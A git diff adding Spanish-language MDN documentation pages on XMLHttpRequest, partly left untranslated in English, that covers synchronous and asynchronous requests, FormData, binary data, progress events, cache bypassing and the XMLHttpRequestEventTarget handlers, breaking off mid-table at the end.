+xhr.onload = function () {
+  // Solicitud finalizada. Haz el procesamiento aquí.
+};
+
+xhr.ontimeout = function (e) {
+  // Tiempo de espera del XMLHttpRequest agotado. Haz algo aquí.
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-timeout-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un <em>pull request</em>.</div>
+
+<p>{{Compat("api.XMLHttpRequest.timeout")}}</p>
diff --git a/files/es/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/es/web/api/xmlhttprequest/using_xmlhttprequest/index.html
new file mode 100644
index 0000000000..c3d2b48e7f
--- /dev/null
+++ b/files/es/web/api/xmlhttprequest/using_xmlhttprequest/index.html
@@ -0,0 +1,447 @@
+---
+title: Using XMLHttpRequest
+slug: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><span class="seoSummary">En esta guía le echaremos un vistazo a cómo usar {{domxref("XMLHttpRequest")}} para enviar solicitudes <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP">HTTP</a> con el objetivo de intercambiar datos entre el sitio web y el servidor.</span> Se incluyen ejemplos, tanto para los casos de uso comunes de <code>XMLHttpRequest</code>, como para los más inusuales.</p>
+
+<p>Para enviar una solicitud HTTP, cree un objeto <code>XMLHttpRequest</code>, abra una URL y envíe la solicitud. Una vez que la transacción haya sido completada, el objeto contendrá información útil tal como el cuerpo de la respuesta y el estado <a href="/en-US/docs/Web/HTTP/Status">HTTP</a> del resultado.</p>
+
+<pre class="brush: js">function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.addEventListener("load", reqListener);
+oReq.open("GET", "http://www.example.org/example.txt");
+oReq.send();</pre>
+
+<h2 id="Solicitudes_Síncronas_y_Asíncronas">Solicitudes Síncronas y Asíncronas</h2>
+
+<p><code>XMLHttpRequest</code> soporta tanto comunicaciones síncronas como asíncronas.</p>
+
+<div class="note"><strong>Nota:</strong> No deberias usar <code>XMLHttpRequests</code> síncronas porque, dada la naturaleza inherentemente asíncrona del intercambio de datos en las redes, hay multiples formas en que la memoria y eventos se puedan perder usando solicitudes síncronas.</div>
+
+<p>En versiones de Firefox anteriores a Firefox 3, (solicitudes) <code>XMLHttpRequest</code> síncronas bloqueaban la interfaz de usuario.  Con tal de permitirle al usuario terminar solicitudes congeladas, Firefox 3 ya no lo hace.</p>
+
+<h3 id="Ejemplo_Solicitud_síncrona">Ejemplo: Solicitud síncrona</h3>
+
+<p>Este ejemplo demuestra como hacer una solicitud síncrona.</p>
+
+<pre class="script deki-transform">var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', false);
+req.send(null);
+if (req.status == 200)
+  dump(req.responseText);</pre>
+
+<p>En la línea 1 se instancia un objeto <code>XMLHttpRequest</code>.  Después en la línea 2 se abre una nueva solicitud, especificando que una solicitud <code>GET</code> se utilizará para extraer la pagina de inicio de Mozilla.org, y que la operación no debe ser asíncrona.</p>
+
+<p>En la línea 3 se envía la solicitud.  El parámetro <code>null</code> indica que la solicitud <code>GET</code> no necesita contenido en el cuerpo.</p>
+
+<p>En la línea 4 se verifica el código de estatus después de que la transacción se completa.  Si el resultado es 200 -- El código HTTP para resultado "OK"-- el contenido de texto del documento se escribe en la consola.</p>
+
+<h3 id="Ejemplo_Solicitudes_síncronas_no-HTTP">Ejemplo: Solicitudes síncronas no-HTTP</h3>
+
+<p>A pesar de su nombre, <code>XMLHttpRequest</code> se puede usar para hacer solicitudes que no sean de HTTP.  Este ejemplo muestra como usarlo para extraer un archivo del sistemas de archivos local.</p>
+
+<pre class="script">var req = new XMLHttpRequest();
+req.open('GET', '<a class="linkification-ext" title="Linkification: file:///home/user/file.json">file:///home/user/file.json</a>', false);
+req.send(null);
+if(req.status == 0)
+  dump(req.responseText);</pre>
+
+<p>La clave aqui es notar que el estado del resultado se compara con 0 en lugar de 200.  Esto es porque los esquemas <code>file</code> y <code>ftp</code> no usan los codigos de resultado de HTTP.</p>
+
+<h3 id="Ejemplo_Solicitudes_asíncronas">Ejemplo: Solicitudes asíncronas</h3>
+
+<p>Si usas <code>XMLHttpRequest</code> desde una extensión, deberias usarla asíncronamente.  En este caso, recibiras una llamada de regreso cuando se hallan recibido los datos, lo cual permite al navegador continuar trabajando con normalidad mientras se maneja tu solicitud.</p>
+
+<pre class="script">var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', true);
+req.onreadystatechange = function (aEvt) {
+  if (req.readyState == 4) {
+     if(req.status == 200)
+      dump(req.responseText);
+     else
+      dump("Error loading page\n");
+  }
+};
+req.send(null); </pre>
+
+<p>La linea 2 especifica <code>true</code> en su tercer parametro indicando que la solicitud debe manejarse asíncronamente.</p>
+
+<p>Line 3 crea un objeto función para manejar eventos y lo asigna al atributo de la solicitud <code>onreadystatechange</code>.  Este manejador observa el <code>readyState</code> de la solicitud verificando si la transacción se ha completado en la linea 4, si así es, y el estatus HTTP es 200, imprime el contenido recibido.  Si ocurrió un error, se muestra un mensaje de error.</p>
+
+<p>La linea 11 de hecho inicia la solicitud.  La función onreadystatechange es llamada siempre que el estado de una solicitud cambia.</p>
+
+<h2 id="Analizando_y_Manipulando_el_Texto_de_Respuesta_HTML">Analizando y Manipulando el Texto de Respuesta HTML</h2>
+
+<p>Si usas <code>XMLHttpRequest para obtener el contenido de una página</code> HTML remota, el <code>responseText </code>(texto de la respuesta) sera una cadena que contenga una "sopa" de etiquetas HTML, lo que puede ser dificil de analizar y manipular. Existen tres maneras principales de analizar estas cadenas HTML</p>
+
+<ol>
+ <li><a href="/en/Code_snippets/HTML_to_DOM#Safely_parsing_simple_HTML.c2.a0to_DOM" title="https://developer.mozilla.org/en/Code_snippets/HTML_to_DOM#Safely_parsing_simple_HTML.c2.a0to_DOM">Analizar con nsIScriptableUnescapeHTML </a>repidamente convertira la cadena HTML en DOM, al mismo tiempo que tira javascript y otros elementos avanzados, incluyendo la etiqueta <code>&lt;head&gt;</code> de la página.</li>
+ <li><a href="/es/Referencia_de_JavaScript_1.5/Objetos_globales/RegExp" title="es/Referencia de JavaScript 1.5/Objetos globales/RegExp">RegExp </a>se puede usar si de antemano conoces el HTML que vendra en el <code>responseText</code>. Quizas quieras remover los saltos de linea, si usas RegExp para escanear considerandolos. Sin embargo, este metodo es un "ultimo recurso" ya que si el HTML cambia ligeramente, posiblemente fallara.</li>
+ <li><a href="/en/Code_snippets/HTML_to_DOM#Using_a_hidden_iframe_element_to_parse_HTML_to_a_window%27s_DOM" title="https://developer.mozilla.org/en/Code_snippets/HTML_to_DOM#Using_a_hidden_iframe_element_to_parse_HTML_to_a_window's_DOM">Usar un hidden chrome o un content-level iframe</a> para cargar toda la pagina también se puede hacer para manipularla luego como DOM, sin embargo existen <a href="/En/Displaying_web_content_in_an_extension_without_security_issues" title="En/Displaying_web_content_in_an_extension_without_security_issues">riesgos de seguridad al dar a código remoto este nivel de acceso privilegiado</a>, que puede causar <a class="link-https" href="https://addons.mozilla.org/en-US/developers/docs/policies/reviews" title="https://addons.mozilla.org/en-US/developers/docs/policies/reviews">problemas </a>en la revisión de tu addon. Por ejemplo, si una pagina ejecuta el comando común "<code>document.location = redirecttothispage.html</code>" para cargar, esto se interpretara como cambiar la locación del navegador (<code>document.location</code> en una extensión) en contraposición a la locación de una página web (<code>content.document.location</code> en una extensión), y en consecuecia destruir todos los componentes del navegador. Alternativamente, y de algun modo mas seguro, una cadena <code>responseText adquirida mediante</code> <code>XMLHttpRequest se puede analizar con</code> RegExp para remover problemas de javascript, luego cargada en un iframe oculto previamente  establecido:</li>
+</ol>
+
+<pre>document.getElementById('hiddenXULiframe').contentWindow.document.body.innerHTML = req.responseText
+</pre>
+
+<h2 id="Using_FormData_objects">Using FormData objects</h2>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>The <a href="/en/XMLHttpRequest/FormData" title="en/XMLHttpRequest/FormData"><code>FormData</code></a> object lets you compile a set of key/value pairs to send using <code>XMLHttpRequest</code>. It's primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's <code>submit()</code> method would use to send the data if the form's encoding type were set to "multipart/form-data".</p>
+
+<h3 id="Creating_a_FormData_object_from_scratch">Creating a FormData object from scratch</h3>
+
+<p>You can build a <code>FormData</code> object yourself, instantiating it then appending fields to it by calling its <a href="/en/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()"><code>append()</code></a> method, like this:</p>
+
+<pre class="deki-transform">var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456);
+formData.append("afile", fileInputElement.files[0]);
+
+var xhr = new XMLHttpRequest();
+xhr.open("POST", "http://foo.com/submitform.php");
+xhr.send(formData);
+</pre>
+
+<p>This example builds a <code>FormData</code> object containing values for fields named "username" and "accountnum", then uses the <code>XMLHttpRequest</code> method <a href="/en/XMLHttpRequest#send()" title="en/XMLHttpRequest#send()"><code>send()</code></a> to send the form's data.</p>
+
+<h3 id="Retrieving_a_FormData_object_from_an_HTML_form">Retrieving a FormData object from an HTML form</h3>
+
+<p>To construct a <code>FormData</code> object that contains the data from an existing {{ HTMLElement("form") }}, specify that form element when creating the <code>FormData</code> object:</p>
+
+<pre>newFormData = new FormData(someFormElement);
+</pre>
+
+<p>For example:</p>
+
+<pre class="deki-transform">var formElement = document.getElementById("myFormElement");
+var xhr = new XMLHttpRequest();
+xhr.open("POST", "submitform.php");
+xhr.send(new FormData(formElement));
+</pre>
+
+<p>You can also add data to the <code>FormData</code> object between retrieving it from a form and sending it, like this:</p>
+
+<pre class="deki-transform">var formElement = document.getElementById("myFormElement");
+formData = new FormData(formElement);
+formData.append("serialnumber", serialNumber++);
+xhr.send(formData);
+</pre>
+
+<p>This lets you augment the form's data before sending it along, to include additional information that's not necessarily user editable on the form.</p>
+
+<h3 id="Sending_files_using_a_FormData_object">Sending files using a FormData object</h3>
+
+<p>You can also send files using <code>FormData</code>. Simply include an {{ HTMLElement("input") }} element of type "file":</p>
+
+<pre class="deki-transform">&lt;form enctype="multipart/form-data" method="post" name="fileinfo" id="fileinfo"&gt;
+  &lt;label&gt;Your email address:&lt;/label&gt;
+  &lt;input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64"&gt;&lt;br /&gt;
+  &lt;label&gt;Custom file ID:&lt;/label&gt;
+  &lt;input type="text" name="fileid" size="12" maxlength="32"&gt;&lt;br /&gt;
+  &lt;label&gt;File to stash:&lt;/label&gt;
+  &lt;input type="file" name="file" required&gt;
+&lt;/form&gt;
+&lt;div id="output"&gt;&lt;/div&gt;
+&lt;a href="javascript:sendForm()"&gt;Stash the file!&lt;/a&gt;
+</pre>
+
+<p>Then you can send it using code like the following:</p>
+
+<pre class="deki-transform">function sendForm() {
+  var output = document.getElementById("output");
+  var data = new FormData(document.getElementById("fileinfo"));
+
+  data.append("CustomField", "This is some extra data");
+
+  var xhr = new XMLHttpRequest();
+  xhr.open("POST", "stash.pl", false)
+  xhr.send(data);
+  if (xhr.status == 200) {
+    output.innerHTML += "Uploaded!&lt;br /&gt;";
+  } else {
+    output.innerHTML += "Error " + xhr.status + " occurred uploading your file.&lt;br /&gt;";
+  }
+}
+</pre>
+
+<p>Note that this example is directing the output to a Perl CGI script running on the server, and handles HTTP errors, although not prettily.</p>
+
+<h2 id="Handling_binary_data">Handling binary data</h2>
+
+<p>Although <code>XMLHttpRequest</code> is most commonly used to send and receive textual data, it can be used to send and receive binary content.</p>
+
+<h3 id="Receiving_binary_data">Receiving binary data</h3>
+
+<p>The <code>load_binary_resource()</code> function shown below loads binary data from the specified URL, returning it to the caller.</p>
+
+<pre class="script">function load_binary_resource(url) {
+  var req = new XMLHttpRequest();
+  req.open('GET', url, false);
+  //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
+  req.overrideMimeType('text/plain; charset=x-user-defined');
+  req.send(null);
+  if (req.status != 200) return '';
+  return req.responseText;
+}
+</pre>
+
+<p>The magic happens in line 5, which overrides the MIME type, forcing Firefox to treat it as plain text, using a user-defined character set.  This tells Firefox not to parse it, and to let the bytes pass through unprocessed.</p>
+
+<pre class="script">var filestream = load_binary_resource(url);
+var abyte = filestream.charCodeAt(x) &amp; 0xff; // throw away high-order byte (f7)</pre>
+
+<p>The example above fetches the byte at offset <code>x</code> within the loaded binary data.  The valid range for <code>x</code> is from 0 to <code>filestream.length-1</code>.</p>
+
+<p>See <a class="external" href="http://mgran.blogspot.com/2006/08/downloading-binary-streams-with.html">downloading binary streams with XMLHttpRequest</a> for a detailed explanation. See also <a href="/en/Code_snippets/Downloading_Files" title="en/Code_snippets/Downloading_Files">downloading files</a>.</p>
+
+<h3 id="Receiving_binary_data_using_JavaScript_typed_arrays">Receiving binary data using JavaScript typed arrays</h3>
+
+<p>{{ gecko_minversion_header("2.0") }}</p>
+
+<p>Gecko 2.0 {{ geckoRelease("2.0") }} adds a Gecko-specific <code>mozResponseArrayBuffer</code> property to the XMLHttpRequest object, which contains a <a href="/en/JavaScript_typed_arrays" title="en/JavaScript typed arrays">JavaScript typed array</a> representing the raw binary contents of the response from the server. This lets you read the binary data without taking any special steps.</p>
+
+<pre class="deki-transform">var xhr = new XMLHttpRequest();
+xhr.open("GET", "binary_file", false);
+xhr.send(null);
+
+buffer = xhr.mozResponseArrayBuffer;
+if (buffer) {
+  var byteArray = new UInt8Array(buffer);
+  for (var i=0; i&lt;byteArray.byteLength; i++) {
+    // do something with each byte in the array
+  }
+}
+</pre>
+
+<p>This example reads a binary file and interprets it as 8-bit unsigned integers.</p>
+
+<h3 id="Sending_binary_data">Sending binary data</h3>
+
+<p>This example transmits binary content asynchronously, using the <code>POST</code> method.</p>
+
+<pre class="script">var req = new XMLHttpRequest();
+req.open("POST", url, true);
+// set headers and mime-type appropriately
+req.setRequestHeader("Content-Length", 741);
+req.sendAsBinary(aBody);</pre>
+
+<p>Line 4 sets the Content-Length header to 741, indicating that the data is 741 bytes long.  Obviously you need to change this value based on the actual size of the data being sent.</p>
+
+<p>Line 5 uses the <code>sendAsBinary()</code> method to initiate the request.</p>
+
+<p>You can also send binary content by passing an instance of the {{ interface("nsIFileInputStream") }} to <a class="internal" href="/en/XMLHttpRequest#send()" title="/En/XMLHttpRequest#send()"><code>send()</code></a>.  In that case, you don't have to set the Content-Length header yourself, as the information is fetched from the stream automatically:</p>
+
+<pre class="script">// Make a stream from a file.
+var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                       .createInstance(Components.interfaces.nsIFileInputStream);
+stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsIFile instance
+
+// Try to determine the MIME type of the file
+var mimeType = "text/plain";
+try {
+  var mimeService = Components.classes["@mozilla.org/mime;1"]
+          .getService(Components.interfaces.nsIMIMEService);
+  mimeType = mimeService.getTypeFromFile(file); // file is an nsIFile instance
+}
+catch(e) { /* eat it; just use text/plain */ }
+
+// Send
+var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+                    .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.open('PUT', url, false); /* synchronous! */
+req.setRequestHeader('Content-Type', mimeType);
+req.send(stream);
+</pre>
+
+<h2 id="Monitoring_progress">Monitoring progress</h2>
+
+<p><code>XMLHttpRequest</code> provides the ability to listen to various events that can occur while the request is being processed. This includes periodic progress notifications, error notifications, and so forth.</p>
+
+<h3 id="In_Firefox_3.5_and_later">In Firefox 3.5 and later</h3>
+
+<p>Firefox 3.5 adds support for DOM progress event monitoring of <code>XMLHttpRequest</code> transfers; this follows the Web API <a class="external" href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">specification for progress events</a>.</p>
+
+<pre class="script">var req = new XMLHttpRequest();
+
+req.addEventListener("progress", updateProgress, false);
+req.addEventListener("load", transferComplete, false);
+req.addEventListener("error", transferFailed, false);
+req.addEventListener("abort", transferCanceled, false);
+
+req.open();
+
+...
+
+// progress on transfers from the server to the client (downloads)
+function updateProgress(evt) {
+  if (evt.lengthComputable) {
+    var percentComplete = evt.loaded / evt.total;
+    ...
+  } else {
+    // Unable to compute progress information since the total size is unknown
+  }
+}
+
+function transferComplete(evt) {
+  alert("The transfer is complete.");
+}
+
+function transferFailed(evt) {
+  alert("An error occurred while transferring the file.");
+}
+
+function transferCanceled(evt) {
+  alert("The transfer has been canceled by the user.");
+}
+</pre>
+
+<p>Lines 3-6 add event listeners for the various events that are sent while performing a data transfer using <code>XMLHttpRequest</code>.  See {{ interface("nsIDOMProgressEvent") }} and {{ interface("nsIXMLHttpRequestEventTarget") }} for details on these events.</p>
+
+<div class="note">Note: You need to add the event listeners before calling <code>open()</code> on the request.  Otherwise the progress events will not fire.</div>
+
+<p>The progress event handler, specified by the <code>updateProgress()</code> function in this example, receives the total number of bytes to transfer as well as the number of bytes transferred so far in the event's <code>total</code> and <code>loaded</code> fields.  However, if the <code>lengthComputable</code> field is false, the total length is not known and will be zero.</p>
+
+<p>Progress events exist for both download and upload transfers. The download events are fired on the <code>XMLHttpRequest</code> object itself, as shown in the above sample. The upload events are fired on the <code>XMLHttpRequest.upload</code> object, as shown below:</p>
+
+<pre class="script">var req = new XMLHttpRequest();
+
+req.upload.addEventListener("progress", updateProgress, false);
+req.upload.addEventListener("load", transferComplete, false);
+req.upload.addEventListener("error", transferFailed, false);
+req.upload.addEventListener("abort", transferCanceled, false);
+
+req.open();</pre>
+
+<div class="note"><strong>Note:</strong> Progress events are not available for the <code>file:</code> protocol.</div>
+
+<h3 id="In_Firefox_3_and_earlier">In Firefox 3 and earlier</h3>
+
+<p>If, for example, you wish to provide progress information to the user while the document is being received, you can use code like this:</p>
+
+<pre class="script">function onProgress(e) {
+  var percentComplete = (e.position / e.totalSize)*100;
+  // ...
+}
+
+function onError(e) {
+  alert("Error " + e.target.status + " occurred while receiving the document.");
+}
+
+function onLoad(e) {
+  // ...
+}
+// ...
+var req = new XMLHttpRequest();
+req.onprogress = onProgress; // or req.addEventListener("progress", onProgress, false);
+req.open("GET", url, true);
+req.onload = onLoad; // or req.addEventListener("load", onLoad, false);
+req.onerror = onError; // or req.addEventListener("error", onError, false);
+req.send(null);
+</pre>
+
+<p>The <code>onprogress</code> event's attributes, <code>position</code> and <code>totalSize</code>, indicate the current number of bytes received and the total number of bytes expected, respectively.</p>
+
+<p>All of these events have their <code>target</code> attribute set to the <code>XMLHttpRequest</code> they correspond to.</p>
+
+<div class="note"><strong>Note:</strong> <a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a> properly ensures that the values of the <code>target</code>, <code>currentTarget</code>, and <code>this</code> fields of the event object are set to reference the correct objects when calling event handlers for XML documents represented by <code>XMLDocument</code>. See {{ Bug(198595) }} for details.</div>
+
+<h2 id="Cross-site_XMLHttpRequest">Cross-site XMLHttpRequest</h2>
+
+<div class="geckoVersionNote">
+<p>Este artículo cubre características introducidas en Firefox 3.5.</p>
+</div>
+
+<p>Firefox 3.5 supports cross-site requests by implementing the web applications working group's <a class="internal" href="/En/HTTP_access_control" title="en/HTTP access control">Access Control for Cross-Site Requests</a> standard.  As long as the server is configured to allow requests from your web application's origin, <code>XMLHttpRequest</code> will work.  Otherwise, an <code>INVALID_ACCESS_ERR</code> exception is thrown.</p>
+
+<h2 id="Bypassing_the_cache">Bypassing the cache</h2>
+
+<p>Normally, <code>XMLHttpRequest</code> tries to retrieve content from the cache, if it's available.  To bypass this, do the following:</p>
+
+<pre class="script">var req = new XMLHttpRequest();
+req.open('GET', url, false);
+<strong>req.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE;</strong>
+req.send(null);</pre>
+
+<div class="note"><strong>Note:</strong> This approach will only work in Gecko-based software, as the <code>channel</code> attribute is Gecko-specific.</div>
+
+<p>An alternate, cross-browser compatible approach is to append a timestamp to the URL, being sure to include a "?" or "&amp;" as appropriate.  For example:</p>
+
+<pre>http://foo.com/bar.html</pre>
+
+<p>becomes</p>
+
+<pre>http://foo.com/bar.html?12345</pre>
+
+<p>and</p>
+
+<pre>http://foo.com/bar.html?foobar=baz</pre>
+
+<p>becomes</p>
+
+<pre>http://foo.com/bar.html?foobar=baz&amp;12345</pre>
+
+<p>Since the local cache is indexed by URL, this causes every request to be unique, thereby bypassing the cache.</p>
+
+<p>You can automatically adjust URLs using the following code:</p>
+
+<pre class="script">var req = new XMLHttpRequest();
+req.open("GET", url += (url.match(/\?/) == null ? "?" : "&amp;") + (new Date()).getTime(), false);
+req.send(null); </pre>
+
+<h2 id="Security">Security</h2>
+
+<p>{{ fx_minversion_note(3, "Versions of Firefox prior to Firefox 3 allowed you to set the preference <code>capability.policy..XMLHttpRequest.open</code> to <code>allAccess</code> to give specific sites cross-site access.  This is no longer supported.") }}</p>
+
+<h2 id="Downloading_JSON_and_JavaScript_from_extensions">Downloading JSON and JavaScript from extensions</h2>
+
+<p>For security reasons, extensions should never use <code><a href="/en/JavaScript/Reference/Global_Objects/eval" title="en/Core_JavaScript_1.5_Reference/Global_Functions/eval">eval()</a></code> to parse JSON or JavaScript code downloaded from the web.  See <a href="/en/Downloading_JSON_and_JavaScript_in_extensions" title="en/Downloading_JSON_and_JavaScript_in_extensions">Downloading JSON and JavaScript in extensions</a> for details.</p>
+
+<h2 id="Using_XMLHttpRequest_from_JavaScript_modules_XPCOM_components">Using XMLHttpRequest from JavaScript modules / XPCOM components</h2>
+
+<p>Instantiating <code>XMLHttpRequest</code> from a <a href="/en/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">JavaScript module</a> or an XPCOM component works a little differently; it can't be instantiated using the <code>XMLHttpRequest()</code> constructor. The constructor is not defined inside components and the code results in an error. You'll need to create and use it using a different syntax.</p>
+
+<p>Instead of this:</p>
+
+<pre class="script">var req = new XMLHttpRequest();
+req.onprogress = onProgress;
+req.onload = onLoad;
+req.onerror = onError;
+req.open("GET", url, true);
+req.send(null);
+</pre>
+
+<p>Do this:</p>
+
+<pre class="script">var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+                    .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.onprogress = onProgress;
+req.onload = onLoad;
+req.onerror = onError;
+req.open("GET", url, true);
+req.send(null);
+</pre>
+
+<p>For C++ code you would need to <code>QueryInterface</code> the component to an <code>nsIEventTarget</code> in order to add event listeners, but chances are in C++ using a channel directly would be better.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ol>
+ <li><a href="/en/AJAX/Getting_Started" title="en/AJAX/Getting_Started">MDC AJAX introduction</a></li>
+ <li><a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">HTTP access control</a></li>
+ <li><a class="internal" href="/En/How_to_check_the_security_state_of_an_XMLHTTPRequest_over_SSL" title="En/How to check the security state of an XMLHTTPRequest over SSL">How to check the security state of an XMLHTTPRequest over SSL</a></li>
+ <li><a class="external" href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+ <li><a class="external" href="http://developer.apple.com/internet/webcontent/xmlhttpreq.html">Apple developers' reference</a></li>
+ <li><a class="external" href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/XMLHttpRequest/">The XMLHttpRequest Object: W3C Working Draft</a></li>
+ <li><a class="external" href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">Web Progress Events specification</a></li>
+ <li><a class="external" href="http://www.bluishcoder.co.nz/2009/06/05/reading-ogg-files-with-javascript.html" title="http://www.bluishcoder.co.nz/2009/06/05/reading-ogg-files-with-javascript.html">Reading Ogg files with JavaScript (Chris Double)</a></li>
+</ol>
diff --git a/files/es/web/api/xmlhttprequesteventtarget/index.html b/files/es/web/api/xmlhttprequesteventtarget/index.html
new file mode 100644
index 0000000000..f53063d82b
--- /dev/null
+++ b/files/es/web/api/xmlhttprequesteventtarget/index.html
@@ -0,0 +1,68 @@
+---
+title: XMLHttpRequestEventTarget
+slug: Web/API/XMLHttpRequestEventTarget
+tags:
+  - AJAX
+  - API
+  - NeedsBrowserCompatibility
+  - NeedsContent
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequestEventTarget
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code>XMLHttpRequestEventTarget</code> is the interface that describes the event handlers you can implement in an object that will handle events for an {{ domxref("XMLHttpRequest") }}.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+	<dt>{{ domxref("XMLHttpRequestEventTarget.onabort") }}</dt>
+	<dd>Contains the function to call when a request is aborted and the {{event('abort')}} event is received by this object.</dd>
+	<dt>{{ domxref("XMLHttpRequestEventTarget.onerror") }}</dt>
+	<dd>Contains the function to call when a request encounters an error and the {{event('error')}} event is received by this object.</dd>
+	<dt>{{ domxref("XMLHttpRequestEventTarget.onload") }}</dt>
+	<dd>Contains the function to call when an HTTP request returns after successfully fetching content and the {{event('load')}} event is received by this object.</dd>
+	<dt>{{ domxref("XMLHttpRequestEventTarget.onloadstart") }}</dt>
+	<dd>Contains the function that gets called when the HTTP request first begins loading data and the {{event('loadstart')}} event is received by this object.</dd>
+	<dt>{{ domxref("XMLHttpRequestEventTarget.onprogress") }}</dt>
+	<dd>Contains the function that is called periodically with information about the progress of the request and the {{event('progress')}} event is received by this object.</dd>
+	<dt>{{ domxref("XMLHttpRequestEventTarget.ontimeout") }}</dt>
+	<dd>Contains the function that is called if the event times out and the {{event("timeout")}} event is received by this object; this only happens if a timeout has been previously established by setting the value of the <code>XMLHttpRequest</code> object's <code>timeout</code> attribute.</dd>
+	<dt>{{ domxref("XMLHttpRequestEventTarget.onloadend") }}</dt>
+	<dd>Contains the function that is called when the load is completed, even if the request failed, and the {{event('loadend')}} event is received by this object.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+	<tbody>
+		<tr>
+			<th scope="col">Specification</th>
+			<th scope="col">Status</th>
+			<th scope="col">Comment</th>
+		</tr>
+		<tr>
+			<td>{{SpecName('XMLHttpRequest')}}</td>
+			<td>{{Spec2('XMLHttpRequest')}}</td>
+			<td>WHATWG living standard</td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequestEventTarget")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+	<li>{{ domxref("XMLHttpRequest") }}</li>
+	<li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+</ul>
diff --git a/files/es/web/api/xmlhttprequesteventtarget/onload/index.html b/files/es/web/api/xmlhttprequesteventtarget/onload/index.html
new file mode 100644
index 0000000000..c6d6f78974
--- /dev/null
+++ b/files/es/web/api/xmlhttprequesteventtarget/onload/index.html
@@ -0,0 +1,55 @@
+---
+title: XMLHttpRequestEventTarget.onload
+slug: Web/API/XMLHttpRequestEventTarget/onload
+translation_of: Web/API/XMLHttpRequestEventTarget/onload
+---
+<div>{{APIRef("XMLHttpRequest")}}</div>
+
+<p>El evento <strong><code>XMLHttpRequestEventTarget.onload</code> </strong>es la función que se llama cuando una transacción del {{domxref("XMLHttpRequest")}} es ejecutada correctamente.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.onload = <em>callback</em>;</pre>
+
+<h3 id="Valores"> Valores</h3>
+
+<ul>
+ <li><code><em>callback</em></code> is the function to be executed when the request completes successfully. It receives a {{domxref("ProgressEvent")}} object as its first argument. The value of <em>this</em> (i.e. the context) is the same {{domxref("XMLHttpRequest")}} this callback is related to.</li>
+ <li><code><em>callback</em></code> es la función a ser ejecutada cuando la petición se complete. Ésta recive un objeto {{domxref("ProgressEvent")}} como su primer argumento. El valor de esto (ej: el contexto) es el mismo {{domxref("XMLHttpRequest")}} al que el callback está relacionado.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">var xmlhttp = new XMLHttpRequest(),
+  method = 'GET',
+  url = 'https://developer.mozilla.org/';
+
+xmlhttp.open(<em>method</em>, <em>url</em>, true);
+xmlhttp.onload = function () {
+  // Hacer algo con la información recivida ( found in xmlhttp.response )
+};
+xmlhttp.send();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
